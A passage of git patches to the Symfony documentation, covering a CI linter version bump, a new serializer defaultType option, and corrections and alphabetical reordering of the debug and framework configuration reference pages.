                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.64.0
+                uses: docker://oskarstark/doctor-rst:1.66.0
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 

From 3c3b2ea33bcf2162a89182951b209be09d18b97d Mon Sep 17 00:00:00 2001
From: Alan Poulain <contact@alanpoulain.eu>
Date: Sat, 1 Mar 2025 19:53:16 +0100
Subject: [PATCH 6750/7107] [Serializer] Add defaultType to DiscriminatorMap

---
 serializer.rst | 64 ++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 64 insertions(+)

diff --git a/serializer.rst b/serializer.rst
index d541310aa15..23be4a234a8 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -2033,6 +2033,70 @@ correct class for properties typed as ``InvoiceItemInterface``::
         $invoiceLine = $serializer->deserialize($jsonString, InvoiceLine::class, 'json');
         // $invoiceLine contains new InvoiceLine(new Product(...))
 
+You can add a default type to avoid the need to add the type property
+when deserializing:
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        namespace App\Model;
+
+        use Symfony\Component\Serializer\Attribute\DiscriminatorMap;
+
+        #[DiscriminatorMap(
+            typeProperty: 'type',
+            mapping: [
+                'product' => Product::class,
+                'shipping' => Shipping::class,
+            ],
+            defaultType: 'product',
+        )]
+        interface InvoiceItemInterface
+        {
+            // ...
+        }
+
+    .. code-block:: yaml
+
+        App\Model\InvoiceItemInterface:
+            discriminator_map:
+                type_property: type
+                mapping:
+                    product: 'App\Model\Product'
+                    shipping: 'App\Model\Shipping'
+                default_type: product
+
+    .. code-block:: xml
+
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
+                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
+        >
+            <class name="App\Model\InvoiceItemInterface">
+                <discriminator-map type-property="type" default-type="product">
+                    <mapping type="product" class="App\Model\Product"/>
+                    <mapping type="shipping" class="App\Model\Shipping"/>
+                </discriminator-map>
+            </class>
+        </serializer>
+
+Now it deserializes like this:
+
+.. configuration-block::
+
+    .. code-block:: php
+
+        // $jsonString does NOT contain "type" in "invoiceItem"
+        $invoiceLine = $serializer->deserialize('{"invoiceItem":{...},...}', InvoiceLine::class, 'json');
+        // $invoiceLine contains new InvoiceLine(new Product(...))
+
+.. versionadded:: 7.3
+
+    The ``defaultType`` parameter was added in Symfony 7.3.
+
 .. _serializer-unwrapping-denormalizer:
 
 Deserializing Input Partially (Unwrapping)

From 3c020ed0e0daa22b9c69cb4356ff83637169299a Mon Sep 17 00:00:00 2001
From: Christophe Coevoet <stof@notk.org>
Date: Mon, 3 Mar 2025 13:04:08 +0100
Subject: [PATCH 6751/7107] Improve the documentation of php_errors in the
 reference

---
 reference/configuration/framework.rst | 10 +++++++---
 1 file changed, 7 insertions(+), 3 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 0f336953539..44c5f9b4c46 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3062,11 +3062,15 @@ php_errors
 log
 ...
 
-**type**: ``boolean|int`` **default**: ``%kernel.debug%``
+**type**: ``boolean|int|array<int, string>`` **default**: ``%kernel.debug%``
 
 Use the application logger instead of the PHP logger for logging PHP errors.
-When an integer value is used, it also sets the log level. Those integer
-values must be the same used in the `error_reporting PHP option`_.
+When an integer value is used, it defines a bitmask of PHP errors that will
+be logged. Those integer values must be the same used in the
+`error_reporting PHP option`_. The default log levels will be used for each
+PHP error.
+When a boolean value is used, ``true`` enables logging for all PHP errors
+while ``false`` disables logging entirely.
 
 This option also accepts a map of PHP errors to log levels:
 

From a87223b5b2113faf29c145f75dcdf33a7e0d7782 Mon Sep 17 00:00:00 2001
From: Christophe Coevoet <stof@notk.org>
Date: Mon, 3 Mar 2025 13:13:25 +0100
Subject: [PATCH 6752/7107] Remove non-existent password_strength setting from
 the reference

---
 reference/configuration/framework.rst | 8 --------
 1 file changed, 8 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 0f336953539..0880f170cf5 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2840,14 +2840,6 @@ metadata of the class. You can define an array of strings with the names of
 several methods. In that case, all of them will be called in that order to load
 the metadata.
 
-.. _reference-validation-password-strength:
-
-password_strength
-.................
-
-The :doc:`PasswordStrength </reference/constraints/PasswordStrength>`
-constraint verifies the submitted string entropy is matching the minimum entropy score.
-
 .. _reference-validation-email_validation_mode:
 
 email_validation_mode

From 7ef636cdec6d216964108ee863403d46e8624ffb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 3 Mar 2025 13:31:31 +0100
Subject: [PATCH 6753/7107] Tweak reference documents

---
 reference/configuration/debug.rst        | 3 ---
 reference/configuration/framework.rst    | 3 ---
 reference/configuration/security.rst     | 3 ---
 reference/configuration/twig.rst         | 3 ---
 reference/configuration/web_profiler.rst | 3 ---
 5 files changed, 15 deletions(-)

diff --git a/reference/configuration/debug.rst b/reference/configuration/debug.rst
index f33b3f3ba9a..d52cac82f20 100644
--- a/reference/configuration/debug.rst
+++ b/reference/configuration/debug.rst
@@ -27,9 +27,6 @@ key in your application configuration.
     namespace and the related XSD schema is available at:
     ``https://symfony.com/schema/dic/debug/debug-1.0.xsd``
 
-Configuration
--------------
-
 max_items
 ~~~~~~~~~
 
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 0f336953539..b36169225b0 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -19,9 +19,6 @@ configured under the ``framework`` key in your application configuration.
     namespace and the related XSD schema is available at:
     ``https://symfony.com/schema/dic/symfony/symfony-1.0.xsd``
 
-Configuration
--------------
-
 .. _configuration-framework-secret:
 
 secret
diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index b89aab67608..d32d3c6ad43 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -19,9 +19,6 @@ key in your application configuration.
     namespace and the related XSD schema is available at:
     ``https://symfony.com/schema/dic/services/services-1.0.xsd``
 
-Configuration
--------------
-
 **Basic Options**:
 
 * `access_denied_url`_
diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index db68f815c46..0fcba509f31 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -19,9 +19,6 @@ under the ``twig`` key in your application configuration.
     namespace and the related XSD schema is available at:
     ``https://symfony.com/schema/dic/twig/twig-1.0.xsd``
 
-Configuration
--------------
-
 auto_reload
 ~~~~~~~~~~~
 
diff --git a/reference/configuration/web_profiler.rst b/reference/configuration/web_profiler.rst
index 93c65621999..de706c73fef 100644
--- a/reference/configuration/web_profiler.rst
+++ b/reference/configuration/web_profiler.rst
@@ -24,9 +24,6 @@ under the ``web_profiler`` key in your application configuration.
 
     The web debug toolbar is not available for responses of type ``StreamedResponse``.
 
-Configuration
--------------
-
 excluded_ajax_paths
 ~~~~~~~~~~~~~~~~~~~
 

From 7c72d3e4717f5c678e896fdd8d8b0fb1cfe94f5b Mon Sep 17 00:00:00 2001
From: Christophe Coevoet <stof@notk.org>
Date: Mon, 3 Mar 2025 13:47:30 +0100
Subject: [PATCH 6754/7107] Fix the top-level key in the DebugBundle reference

All our bundle reference pages have the snippet showing the commands to dump the reference and the actual values. However, the DebugBundle reference page copied the snippet from FrameworkBundle without replacing the bundle config namespace.
---
 reference/configuration/debug.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/reference/configuration/debug.rst b/reference/configuration/debug.rst
index f33b3f3ba9a..6d86351ee0d 100644
--- a/reference/configuration/debug.rst
+++ b/reference/configuration/debug.rst
@@ -8,14 +8,14 @@ key in your application configuration.
 .. code-block:: terminal
 
     # displays the default config values defined by Symfony
-    $ php bin/console config:dump-reference framework
+    $ php bin/console config:dump-reference debug
 
     # displays the actual config values used by your application
-    $ php bin/console debug:config framework
+    $ php bin/console debug:config debug
 
     # displays the config values used by your application and replaces the
     # environment variables with their actual values
-    $ php bin/console debug:config --resolve-env framework
+    $ php bin/console debug:config --resolve-env debug
 
 .. versionadded:: 6.2
 

From 569f548afe86539b48925fed3e1ba68fe6c3c0e9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 4 Mar 2025 08:28:55 +0100
Subject: [PATCH 6755/7107] [Reference] Sort debug options alphabetically

---
 reference/configuration/debug.rst | 52 +++++++++++++++----------------
 1 file changed, 26 insertions(+), 26 deletions(-)

diff --git a/reference/configuration/debug.rst b/reference/configuration/debug.rst
index cd42d79d157..6ca05b49bd7 100644
--- a/reference/configuration/debug.rst
+++ b/reference/configuration/debug.rst
@@ -23,32 +23,6 @@ key in your application configuration.
     namespace and the related XSD schema is available at:
     ``https://symfony.com/schema/dic/debug/debug-1.0.xsd``
 
-max_items
-~~~~~~~~~
-
-**type**: ``integer`` **default**: ``2500``
-
-This is the maximum number of items to dump. Setting this option to ``-1``
-disables the limit.
-
-min_depth
-~~~~~~~~~
-
-**type**: ``integer`` **default**: ``1``
-
-Configures the minimum tree depth until which all items are guaranteed to
-be cloned. After this depth is reached, only ``max_items`` items will be
-cloned. The default value is ``1``, which is consistent with older Symfony
-versions.
-
-max_string_length
-~~~~~~~~~~~~~~~~~
-
-**type**: ``integer`` **default**: ``-1``
-
-This option configures the maximum string length before truncating the
-string. The default value (``-1``) means that strings are never truncated.
-
 .. _configuration-debug-dump_destination:
 
 dump_destination
@@ -98,3 +72,29 @@ Typically, you would set this to ``php://stderr``:
 
 
 Configure it to ``"tcp://%env(VAR_DUMPER_SERVER)%"`` in order to use the :ref:`ServerDumper feature <var-dumper-dump-server>`.
+
+max_items
+~~~~~~~~~
+
+**type**: ``integer`` **default**: ``2500``
+
+This is the maximum number of items to dump. Setting this option to ``-1``
+disables the limit.
+
+max_string_length
+~~~~~~~~~~~~~~~~~
+
+**type**: ``integer`` **default**: ``-1``
+
+This option configures the maximum string length before truncating the
+string. The default value (``-1``) means that strings are never truncated.
+
+min_depth
+~~~~~~~~~
+
+**type**: ``integer`` **default**: ``1``
+
+Configures the minimum tree depth until which all items are guaranteed to
+be cloned. After this depth is reached, only ``max_items`` items will be
+cloned. The default value is ``1``, which is consistent with older Symfony
+versions.

From 96bb798bc1dce7780827dd51cecaafde94b9ae6c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 4 Mar 2025 09:40:01 +0100
Subject: [PATCH 6756/7107] [Reference] Sort all framework options
 alphabetically

---
 reference/configuration/framework.rst | 4643 +++++++++++++------------
 1 file changed, 2322 insertions(+), 2321 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index e58a7ebc80f..0334b918c66 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -19,236 +19,355 @@ configured under the ``framework`` key in your application configuration.
     namespace and the related XSD schema is available at:
     ``https://symfony.com/schema/dic/symfony/symfony-1.0.xsd``
 
-.. _configuration-framework-secret:
+annotations
+~~~~~~~~~~~
 
-secret
-~~~~~~
+.. _reference-annotations-cache:
 
-**type**: ``string`` **required**
+cache
+.....
 
-This is a string that should be unique to your application and it's commonly
-used to add more entropy to security related operations. Its value should
-be a series of characters, numbers and symbols chosen randomly and the
-recommended length is around 32 characters.
+**type**: ``string`` **default**: ``php_array``
 
-In practice, Symfony uses this value for encrypting the cookies used
-in the :doc:`remember me functionality </security/remember_me>` and for
-creating signed URIs when using :ref:`ESI (Edge Side Includes) <edge-side-includes>`.
-That's why you should treat this value as if it were a sensitive credential and
-**never make it public**.
+This option can be one of the following values:
 
-This option becomes the service container parameter named ``kernel.secret``,
-which you can use whenever the application needs an immutable random string
-to add more entropy.
+php_array
+    Use a PHP array to cache annotations in memory
+file
+    Use the filesystem to cache annotations
+none
+    Disable the caching of annotations
 
-As with any other security-related parameter, it is a good practice to change
-this value from time to time. However, keep in mind that changing this value
-will invalidate all signed URIs and Remember Me cookies. That's why, after
-changing this value, you should regenerate the application cache and log
-out all the application users.
+debug
+.....
 
-handle_all_throwables
-~~~~~~~~~~~~~~~~~~~~~
+**type**: ``boolean`` **default**: ``%kernel.debug%``
 
-**type**: ``boolean`` **default**: ``true``
+Whether to enable debug mode for caching. If enabled, the cache will
+automatically update when the original file is changed (both with code and
+annotation changes). For performance reasons, it is recommended to disable
+debug mode in production, which will happen automatically if you use the
+default value.
 
-When set to ``true``, the Symfony kernel will catch all ``\Throwable`` exceptions
-thrown by the application and will turn them into HTTP responses.
+file_cache_dir
+..............
 
-.. _configuration-framework-http_cache:
+**type**: ``string`` **default**: ``%kernel.cache_dir%/annotations``
 
-http_cache
-~~~~~~~~~~
+The directory to store cache files for annotations, in case
+``annotations.cache`` is set to ``'file'``.
 
-enabled
-.......
+assets
+~~~~~~
 
-**type**: ``boolean`` **default**: ``false``
+.. _reference-assets-base-path:
 
-debug
-.....
+base_path
+.........
 
-**type**: ``boolean`` **default**: ``%kernel.debug%``
+**type**: ``string``
 
-If true, exceptions are thrown when things go wrong. Otherwise, the cache will
-try to carry on and deliver a meaningful response.
+This option allows you to define a base path to be used for assets:
 
-trace_level
-...........
+.. configuration-block::
 
-**type**: ``string`` **possible values**: ``'none'``, ``'short'`` or ``'full'``
+    .. code-block:: yaml
 
-For 'short', a concise trace of the main request will be added as an HTTP header.
-'full' will add traces for all requests (including ESI subrequests).
-(default: 'full' if in debug; 'none' otherwise)
+        # config/packages/framework.yaml
+        framework:
+            # ...
+            assets:
+                base_path: '/images'
 
-trace_header
-............
+    .. code-block:: xml
 
-**type**: ``string``
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
-Header name to use for traces. (default: X-Symfony-Cache)
+            <framework:config>
+                <framework:assets base-path="/images"/>
+            </framework:config>
+        </container>
 
-default_ttl
-...........
+    .. code-block:: php
 
-**type**: ``integer``
+        // config/packages/framework.php
+        use Symfony\Config\FrameworkConfig;
 
-The number of seconds that a cache entry should be considered fresh when no
-explicit freshness information is provided in a response. Explicit
-Cache-Control or Expires headers override this value. (default: 0)
+        return static function (FrameworkConfig $framework): void {
+            // ...
+            $framework->assets()
+                ->basePath('/images');
+        };
 
-private_headers
-...............
+.. _reference-templating-base-urls:
+.. _reference-assets-base-urls:
+
+base_urls
+.........
 
 **type**: ``array``
 
-Set of request headers that trigger "private" cache-control behavior on responses
-that don't explicitly state whether the response is public or private via a
-Cache-Control directive. (default: Authorization and Cookie)
+This option allows you to define base URLs to be used for assets.
+If multiple base URLs are provided, Symfony will select one from the
+collection each time it generates an asset's path:
 
-skip_response_headers
-.....................
+.. configuration-block::
 
-**type**: ``array`` **default**: ``Set-Cookie``
+    .. code-block:: yaml
 
-Set of response headers that will never be cached even when the response is cacheable
-and public.
+        # config/packages/framework.yaml
+        framework:
+            # ...
+            assets:
+                base_urls:
+                    - 'http://cdn.example.com/'
 
-allow_reload
-............
+    .. code-block:: xml
 
-**type**: ``string``
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
-Specifies whether the client can force a cache reload by including a
-Cache-Control "no-cache" directive in the request. Set it to ``true``
-for compliance with RFC 2616. (default: false)
+            <framework:config>
+                <framework:assets base-url="http://cdn.example.com/"/>
+            </framework:config>
+        </container>
 
-allow_revalidate
-................
+    .. code-block:: php
 
-**type**: ``string``
+        // config/packages/framework.php
+        use Symfony\Config\FrameworkConfig;
 
-Specifies whether the client can force a cache revalidate by including a
-Cache-Control "max-age=0" directive in the request. Set it to ``true``
-for compliance with RFC 2616. (default: false)
+        return static function (FrameworkConfig $framework): void {
+            // ...
+            $framework->assets()
+                ->baseUrls(['http://cdn.example.com/']);
+        };
 
-stale_while_revalidate
-......................
+.. _reference-assets-json-manifest-path:
+.. _reference-templating-json-manifest-path:
 
-**type**: ``integer``
+json_manifest_path
+..................
 
-Specifies the default number of seconds (the granularity is the second as the
-Response TTL precision is a second) during which the cache can immediately return
-a stale response while it revalidates it in the background (default: 2).
-This setting is overridden by the stale-while-revalidate HTTP Cache-Control
-extension (see RFC 5861).
+**type**: ``string`` **default**: ``null``
 
-stale_if_error
-..............
+The file path or absolute URL to a ``manifest.json`` file containing an
+associative array of asset names and their respective compiled names. A common
+cache-busting technique using a "manifest" file works by writing out assets with
+a "hash" appended to their file names (e.g. ``main.ae433f1cb.css``) during a
+front-end compilation routine.
 
-**type**: ``integer``
+.. tip::
 
-Specifies the default number of seconds (the granularity is the second) during
-which the cache can serve a stale response when an error is encountered
-(default: 60). This setting is overridden by the stale-if-error HTTP
-Cache-Control extension (see RFC 5861).
+    Symfony's :ref:`Webpack Encore <frontend-webpack-encore>` supports
+    :ref:`outputting hashed assets <encore-long-term-caching>`. Moreover, this
+    can be incorporated into many other workflows, including Webpack and
+    Gulp using `webpack-manifest-plugin`_ and `gulp-rev`_, respectively.
+
+This option can be set globally for all assets and individually for each asset
+package:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            assets:
+                # this manifest is applied to every asset (including packages)
+                json_manifest_path: "%kernel.project_dir%/public/build/manifest.json"
+                # you can use absolute URLs too and Symfony will download them automatically
+                # json_manifest_path: 'https://cdn.example.com/manifest.json'
+                packages:
+                    foo_package:
+                        # this package uses its own manifest (the default file is ignored)
+                        json_manifest_path: "%kernel.project_dir%/public/build/a_different_manifest.json"
+                        # Throws an exception when an asset is not found in the manifest
+                        strict_mode: %kernel.debug%
+                    bar_package:
+                        # this package uses the global manifest (the default file is used)
+                        base_path: '/images'
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <!-- this manifest is applied to every asset (including packages) -->
+                <framework:assets json-manifest-path="%kernel.project_dir%/public/build/manifest.json">
+                <!-- you can use absolute URLs too and Symfony will download them automatically -->
+                <!-- <framework:assets json-manifest-path="https://cdn.example.com/manifest.json"> -->
+                    <!-- this package uses its own manifest (the default file is ignored) -->
+                    <!-- Throws an exception when an asset is not found in the manifest -->
+                    <framework:package
+                        name="foo_package"
+                        json-manifest-path="%kernel.project_dir%/public/build/a_different_manifest.json" strict-mode="%kernel.debug%"/>
+                    <!-- this package uses the global manifest (the default file is used) -->
+                    <framework:package
+                        name="bar_package"
+                        base-path="/images"/>
+                </framework:assets>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework): void {
+            // ...
+            $framework->assets()
+                // this manifest is applied to every asset (including packages)
+                ->jsonManifestPath('%kernel.project_dir%/public/build/manifest.json');
+
+            // you can use absolute URLs too and Symfony will download them automatically
+            // 'json_manifest_path' => 'https://cdn.example.com/manifest.json',
+            $framework->assets()->package('foo_package')
+                // this package uses its own manifest (the default file is ignored)
+                ->jsonManifestPath('%kernel.project_dir%/public/build/a_different_manifest.json')
+                // Throws an exception when an asset is not found in the manifest
+                ->setStrictMode('%kernel.debug%');
+
+            $framework->assets()->package('bar_package')
+                // this package uses the global manifest (the default file is used)
+                ->basePath('/images');
+        };
+
+.. note::
+
+    This parameter cannot be set at the same time as ``version`` or ``version_strategy``.
+    Additionally, this option cannot be nullified at the package scope if a global manifest
+    file is specified.
+
+.. tip::
+
+    If you request an asset that is *not found* in the ``manifest.json`` file, the original -
+    *unmodified* - asset path will be returned.
+    You can set ``strict_mode`` to ``true`` to get an exception when an asset is *not found*.
 
- .. _configuration-framework-http_method_override:
+.. note::
 
-http_method_override
-~~~~~~~~~~~~~~~~~~~~
+    If a URL is set, the JSON manifest is downloaded on each request using the `http_client`_.
 
-**type**: ``boolean`` **default**: ``false``
+.. _reference-framework-assets-packages:
 
-This determines whether the ``_method`` request parameter is used as the
-intended HTTP method on POST requests. If enabled, the
-:method:`Request::enableHttpMethodParameterOverride <Symfony\\Component\\HttpFoundation\\Request::enableHttpMethodParameterOverride>`
-method gets called automatically. It becomes the service container parameter
-named ``kernel.http_method_override``.
+packages
+........
 
-.. seealso::
+You can group assets into packages, to specify different base URLs for them:
 
-    :ref:`Changing the Action and HTTP Method <forms-change-action-method>` of
-    Symfony forms.
+.. configuration-block::
 
-.. warning::
+    .. code-block:: yaml
 
-    If you're using the :ref:`HttpCache Reverse Proxy <symfony2-reverse-proxy>`
-    with this option, the kernel will ignore the ``_method`` parameter,
-    which could lead to errors.
+        # config/packages/framework.yaml
+        framework:
+            # ...
+            assets:
+                packages:
+                    avatars:
+                        base_urls: 'http://static_cdn.example.com/avatars'
 
-    To fix this, invoke the ``enableHttpMethodParameterOverride()`` method
-    before creating the ``Request`` object::
+    .. code-block:: xml
 
-        // public/index.php
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
-        // ...
-        $kernel = new CacheKernel($kernel);
+            <framework:config>
+                <framework:assets>
+                    <framework:package
+                        name="avatars"
+                        base-url="http://static_cdn.example.com/avatars"/>
+                </framework:assets>
+            </framework:config>
+        </container>
 
-        Request::enableHttpMethodParameterOverride(); // <-- add this line
-        $request = Request::createFromGlobals();
-        // ...
+    .. code-block:: php
 
-trust_x_sendfile_type_header
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+        // config/packages/framework.php
+        use Symfony\Config\FrameworkConfig;
 
-**type**: ``boolean`` **default**: ``%env(bool:default::SYMFONY_TRUST_X_SENDFILE_TYPE_HEADER)%``
+        return static function (FrameworkConfig $framework): void {
+            // ...
+            $framework->assets()
+                ->package('avatars')
+                    ->baseUrls(['http://static_cdn.example.com/avatars']);
+        };
 
-.. versionadded:: 7.2
+Now you can use the ``avatars`` package in your templates:
 
-    In Symfony 7.2, the default value of this option was changed from ``false`` to the
-    value stored in the ``SYMFONY_TRUST_X_SENDFILE_TYPE_HEADER`` environment variable.
+.. code-block:: html+twig
 
-``X-Sendfile`` is a special HTTP header that tells web servers to replace the
-response contents by the file that is defined in that header. This improves
-performance because files are no longer served by your application but directly
-by the web server.
+    <img src="{{ asset('...', 'avatars') }}">
 
-This configuration option determines whether to trust ``x-sendfile`` header for
-BinaryFileResponse. If enabled, Symfony calls the
-:method:`BinaryFileResponse::trustXSendfileTypeHeader <Symfony\\Component\\HttpFoundation\\BinaryFileResponse::trustXSendfileTypeHeader>`
-method automatically. It becomes the service container parameter named
-``kernel.trust_x_sendfile_type_header``.
+Each package can configure the following options:
 
-.. _reference-framework-trusted-headers:
+* :ref:`base_path <reference-assets-base-path>`
+* :ref:`base_urls <reference-assets-base-urls>`
+* :ref:`version_strategy <reference-assets-version-strategy>`
+* :ref:`version <reference-framework-assets-version>`
+* :ref:`version_format <reference-assets-version-format>`
+* :ref:`json_manifest_path <reference-assets-json-manifest-path>`
+* :ref:`strict_mode <reference-assets-strict-mode>`
 
-trusted_headers
-~~~~~~~~~~~~~~~
+.. _reference-assets-strict-mode:
 
-The ``trusted_headers`` option is needed to configure which client information
-should be trusted (e.g. their host) when running Symfony behind a load balancer
-or a reverse proxy. See :doc:`/deployment/proxies`.
+strict_mode
+...........
 
-.. _reference-framework-trusted-proxies:
+**type**: ``boolean`` **default**: ``false``
 
-trusted_proxies
-~~~~~~~~~~~~~~~
+When enabled, the strict mode asserts that all requested assets are in the
+manifest file. This option is useful to detect typos or missing assets, the
+recommended value is ``%kernel.debug%``.
 
-The ``trusted_proxies`` option is needed to get precise information about the
-client (e.g. their IP address) when running Symfony behind a load balancer or a
-reverse proxy. See :doc:`/deployment/proxies`.
+.. _reference-framework-assets-version:
+.. _ref-framework-assets-version:
 
-ide
-~~~
+version
+.......
 
-**type**: ``string`` **default**: ``%env(default::SYMFONY_IDE)%``
+**type**: ``string``
 
-Symfony turns file paths seen in variable dumps and exception messages into
-links that open those files right inside your browser. If you prefer to open
-those files in your favorite IDE or text editor, set this option to any of the
-following values: ``phpstorm``, ``sublime``, ``textmate``, ``macvim``, ``emacs``,
-``atom`` and ``vscode``.
+This option is used to *bust* the cache on assets by globally adding a query
+parameter to all rendered asset paths (e.g. ``/images/logo.png?v2``). This
+applies only to assets rendered via the Twig ``asset()`` function (or PHP
+equivalent).
 
-.. note::
+For example, suppose you have the following:
 
-    The ``phpstorm`` option is supported natively by PhpStorm on macOS and
-    Windows; Linux requires installing `phpstorm-url-handler`_.
+.. code-block:: html+twig
 
-If you use another editor, the expected configuration value is a URL template
-that contains an ``%f`` placeholder where the file path is expected and ``%l``
-placeholder for the line number (percentage signs (``%``) must be escaped by
-doubling them to prevent Symfony from interpreting them as container parameters).
+    <img src="{{ asset('images/logo.png') }}" alt="Symfony!"/>
+
+By default, this will render a path to your image such as ``/images/logo.png``.
+Now, activate the ``version`` option:
 
 .. configuration-block::
 
@@ -256,7 +375,9 @@ doubling them to prevent Symfony from interpreting them as container parameters)
 
         # config/packages/framework.yaml
         framework:
-            ide: 'myide://open?url=file://%%f&line=%%l'
+            # ...
+            assets:
+                version: 'v2'
 
     .. code-block:: xml
 
@@ -269,7 +390,9 @@ doubling them to prevent Symfony from interpreting them as container parameters)
                 https://symfony.com/schema/dic/services/services-1.0.xsd
                 http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
-            <framework:config ide="myide://open?url=file://%%f&line=%%l"/>
+            <framework:config>
+                <framework:assets version="v2"/>
+            </framework:config>
         </container>
 
     .. code-block:: php
@@ -278,203 +401,245 @@ doubling them to prevent Symfony from interpreting them as container parameters)
         use Symfony\Config\FrameworkConfig;
 
         return static function (FrameworkConfig $framework): void {
-            $framework->ide('myide://open?url=file://%%f&line=%%l');
+            // ...
+            $framework->assets()
+                ->version('v2');
         };
 
-Since every developer uses a different IDE, the recommended way to enable this
-feature is to configure it on a system level. First, you can define this option
-in the ``SYMFONY_IDE`` environment variable, which Symfony reads automatically
-when ``framework.ide`` config is not set.
-
-Another alternative is to set the ``xdebug.file_link_format`` option in your
-``php.ini`` configuration file. The format to use is the same as for the
-``framework.ide`` option, but without the need to escape the percent signs
-(``%``) by doubling them:
-
-.. code-block:: ini
-
-    // example for PhpStorm
-    xdebug.file_link_format="phpstorm://open?file=%f&line=%l"
-
-    // example for PhpStorm with Jetbrains Toolbox
-    xdebug.file_link_format="jetbrains://phpstorm/navigate/reference?project=example&path=%f:%l"
+Now, the same asset will be rendered as ``/images/logo.png?v2`` If you use
+this feature, you **must** manually increment the ``version`` value
+before each deployment so that the query parameters change.
 
-    // example for Sublime Text
-    xdebug.file_link_format="subl://open?url=file://%f&line=%l"
+You can also control how the query string works via the `version_format`_
+option.
 
 .. note::
 
-    If both ``framework.ide`` and ``xdebug.file_link_format`` are defined,
-    Symfony uses the value of the ``xdebug.file_link_format`` option.
-
-.. tip::
-
-    Setting the ``xdebug.file_link_format`` ini option works even if the Xdebug
-    extension is not enabled.
+    This parameter cannot be set at the same time as ``version_strategy`` or ``json_manifest_path``.
 
 .. tip::
 
-    When running your app in a container or in a virtual machine, you can tell
-    Symfony to map files from the guest to the host by changing their prefix.
-    This map should be specified at the end of the URL template, using ``&`` and
-    ``>`` as guest-to-host separators:
-
-    .. code-block:: text
-
-        // /path/to/guest/.../file will be opened
-        // as /path/to/host/.../file on the host
-        // and /var/www/app/ as /projects/my_project/ also
-        'myide://%%f:%%l&/path/to/guest/>/path/to/host/&/var/www/app/>/projects/my_project/&...'
-
-        // example for PhpStorm
-        'phpstorm://open?file=%%f&line=%%l&/var/www/app/>/projects/my_project/'
-
-.. _reference-framework-test:
-
-test
-~~~~
+    As with all settings, you can use a parameter as value for the
+    ``version``. This makes it easier to increment the cache on each
+    deployment.
 
-**type**: ``boolean``
+.. _reference-templating-version-format:
+.. _reference-assets-version-format:
 
-If this configuration setting is present (and not ``false``), then the services
-related to testing your application (e.g. ``test.client``) are loaded. This
